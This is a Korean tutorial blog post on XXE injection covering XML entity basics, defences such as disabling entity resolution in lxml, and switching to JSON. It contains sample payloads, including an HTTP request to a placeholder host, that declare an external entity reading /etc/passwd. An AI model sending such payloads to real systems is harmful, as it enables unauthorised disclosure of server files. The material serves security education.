XXE Injection 공격과 대응 방안 💣
1. XXE Injection이란?
XXE(External Entity Injection) 공격은 XML을 처리하는 애플리케이션에서 외부 엔티티를 잘못 처리할 때 발생하는 보안 취약점이다. 공격자는 이를 이용해 내부 파일을 읽거나, 서비스 거부(Denial of Service, DoS) 공격을 수행하거나, 심하면 SSRF(Server-Side Request Forgery)까지 가능하게 만들 수 있다.
2. XML과 DTD(Entity) 개념 간단 정리
XXE 공격을 이해하려면 XML과 DTD(문서 유형 정의, Document Type Definition)에 대한 기본적인 개념이 필요하다.
• XML(Extensible Markup Language): 데이터를 구조화하여 저장하는 언어
• DTD(Document Type Definition): XML 문서의 구조를 정의하는 역할
• Entity(엔티티): XML 내에서 변수처럼 사용되는 개념으로, 외부 엔티티를 정의하면 외부 리소스를 참조할 수도 있다.
다음과 같은 XML 문서를 예로 들어보자.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY example "Hello, World!">
]>
<root>
<message>&example;</message>
</root>
위의 XML 문서에서 &example; 엔티티는 “Hello, World!“로 치환된다.
그런데 여기에 외부 엔티티를 추가하면 문제가 발생할 수 있다.
3. XXE 취약점이 있는 XML 예제
다음과 같이 외부 파일을 읽는 엔티티를 선언하면 내부 파일이 노출될 수 있다.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<message>&xxe;</message>
</root>
이 XML이 취약한 애플리케이션에서 파싱되면, &xxe; 엔티티가 /etc/passwd 파일의 내용을 포함하게 된다.
이를 통해 공격자는 서버 내부 파일을 유출할 수 있다.
4. XXE Exploit 예제
아래는 Burp Suite를 이용해 공격 요청을 보내는 예제다.
POST /vulnerable-endpoint HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>
<input>&xxe;</input>
</data>
이 요청을 보내면 응답에 /etc/passwd 파일의 내용이 포함될 수 있다.
5. XXE 공격을 방어하는 방법 🛡️
XXE 취약점을 방어하는 방법은 크게 두 가지다.
1) XML 파서에서 외부 엔티티 비활성화
대부분의 프로그래밍 언어에서는 XML 파싱 시 외부 엔티티를 비활성화하는 옵션이 제공된다.
예를 들어, Python의 lxml 라이브러리에서 이를 차단하는 방법은 다음과 같다.
from lxml import etree
parser = etree.XMLParser(resolve_entities=False)
tree = etree.parse("input.xml", parser)
resolve_entities=False 옵션을 사용하면 외부 엔티티를 해석하지 않으므로 XXE 공격을 방지할 수 있다.
2) XML을 대체할 데이터 포맷 사용
XML을 꼭 사용해야 하는 경우가 아니라면 JSON과 같은 포맷을 사용하는 것도 좋은 방법이다.
JSON은 XML보다 단순하고, XXE 같은 엔티티 주입 공격이 불가능하기 때문에 보안성이 더 높다.
7. 결론 🎯
XXE Injection은 서버 내부 파일 유출, 서비스 거부 공격, SSRF 등 다양한 보안 위협을 초래할 수 있다.
따라서 XML을 사용할 때는 외부 엔티티를 비활성화하고, JSON 같은 대체 기술을 고려하는 것이 필수적이다.
다음에는 실제 XXE Injection 공격이 어떻게 이뤄지는지 직접 실습해 보도록 하겠다.
'모의해킹 > 웹모의해킹' 카테고리의 다른 글
| 역직렬화(Insecure Deserialization) 취약점의 원리와 분석 (0) | 2025.12.11 |
|---|---|
| 🔐 JWT 토큰 구조와 검증 방식 (0) | 2025.12.09 |
| [웹 모의해킹 가이드] Command Injection 쉽게 이해하기: 공격 시나리오부터 방어 방법까지 (0) | 2025.01.13 |